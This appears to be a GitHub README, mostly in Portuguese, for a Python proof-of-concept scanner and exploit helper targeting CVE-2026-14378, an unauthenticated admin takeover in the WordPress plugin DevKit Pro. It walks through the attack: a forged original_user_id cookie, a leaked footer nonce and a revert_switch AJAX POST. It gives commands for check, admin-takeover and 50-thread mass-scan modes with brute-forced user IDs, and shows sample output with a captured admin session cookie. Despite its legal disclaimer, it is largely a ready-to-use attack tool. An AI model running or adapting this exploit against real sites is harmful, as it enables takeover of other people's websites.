
Scanner PoC em Python e auxiliar de exploit para CVE-2026-14378, uma tomada de sessão de administrador não autenticada no plugin WordPress DevKit Pro através de um cookie original_user_id forjado.
Scanner de prova de conceito e auxiliar de exploração para CVE-2026-14378: tomada de sessão de administrador não autenticada no plugin WordPress DevKit Pro (dplugins) através de um fluxo de "reversão" de troca de usuário defeituoso.
Legal: Use apenas em sistemas que você possui ou tem permissão escrita explícita para testar. Acesso não autorizado é ilegal. Este repositório é para pesquisa defensiva, verificação e validação de patches.
PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.
Tópicos sugeridos: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| Produto | DevKit Pro (fornecedor: dplugins) |
| Tipo | Bypass de autenticação → sessão de administrador completa (CWE-287) |
| Afetado | Todas as versões ≤ 2.3.0 |
| Corrigido | 3.0.0+ (changelog) |
| CVSS 3.1 | 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | Problema | Autenticação |
|---|---|---|
| CVE-2026-14357 | Instalação arbitrária de ZIP de tema via DPDEV_install_themes | Subscriber+ |
| CVE-2026-14378 | Tomada de sessão via reversão de troca de usuário | Nenhuma |
Este PoC tem como alvo apenas o 14378.
O Users Manager do DevKit Pro pode personificar usuários para testes. Quando um administrador troca para outra conta, o plugin armazena a identidade anterior em um cookie do cliente:
original_user_id — ID do usuário da conta antes da trocaQuando esse cookie está presente, o plugin renderiza um controle de "voltar" no wp_footer no front end, incluindo um nonce do WordPress vinculado à ação de reversão.
O manipulador revert_switch (AJAX) chama verify_nonce_and_capability(), que avalia incorretamente manage_options em relação ao usuário referenciado por original_user_id, em vez de usar current_user_can() no solicitante real (que pode estar completamente não autenticado).
Um atacante pode:
Cookie: original_user_id=<administrator_user_id> (comumente 1).POST para wp-admin/admin-ajax.php com action=revert_switch (ou alias específico do plugin) e o nonce vazado.wp_set_auth_cookie() para o ID de usuário forjado → sessão de administrador autenticada.Contexto oficial do recurso: Users Manager — switch back.
sequenceDiagram
participant A as Attacker
participant W as WordPress (front end)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: wp_footer hook
P-->>W: switch-back HTML + nonce
W-->>A: page body contains nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: capability checked for user 1, not attacker
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: admin dashboard
O comando check é intencionalmente rigoroso: ele reporta vulnerável apenas se um nonce de switch-back aparecer após forjar original_user_id.
| Observação | Significado provável |
|---|---|
VULNERABLE — switch-back material leaked | O caminho de exploração provavelmente funciona; confirme em um laboratório antes de admin. |
not vulnerable (check): no switch-back nonce… | DevKit corrigido (≥ 3.0.0), plugin não instalado, Users Manager desabilitado (desligado por padrão), caminho de plugin personalizado, cache/CDN removendo o rodapé, ou site errado. |
DevKit Pro readme not confirmed | Sem impressão digital pública de readme.txt; o plugin pode ainda estar presente mas oculto — o oráculo continua sendo o teste decisivo. |
DevKit Pro <= 2.3.0 suspected + ainda sem nonce | A versão vulnerável pode estar instalada mas o recurso de troca não está habilitado ou o rodapé não é renderizado nas URLs testadas. |
Nota: Um HTTP 200 em /wp-content/plugins/.../readme.txt que retorna uma página HTML completa é um soft 404 comum do WordPress. Este PoC valida o conteúdo do readme (cabeçalho Plugin Name:), não apenas o código de status.
pip install requests
Opcional: requirements.txt contém um mínimo fixado:
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # or: pip install requests
Não completa a tomada de controle; apenas testa o oráculo de nonce do rodapé.
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
Tenta o revert_switch completo e verifica o acesso a /wp-admin/.
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| Flag | Descrição |
|---|---|
--user-id | ID de usuário administrador (ou alvo) forjado em original_user_id (padrão: 1) |
--brute | Tenta IDs 1..N quando o primeiro ID falha |
--timeout | Timeout HTTP em segundos (padrão: 25) |
--log | Anexa URLs admin bem-sucedidas a um arquivo (padrão: logs.txt) |
Uma URL por linha; comentários # e colunas extras após espaço em branco são ignorados.
# Detection only (recommended first pass)
python poc.py targets.txt
# Exploit attempts (authorized targets only)
python poc.py targets.txt admin
Se nenhum arquivo for passado como primeiro argumento, o script solicita um caminho de lista (mesmo comportamento dos scanners de massa legados).
O modo massa usa um pool de threads (50 workers). Ajuste em poc.py se atingir limites de taxa.
# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # only first token is used
Vulnerável (check):
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
Não vulnerável (varredura em massa típica):
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
Admin bem-sucedido:
[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…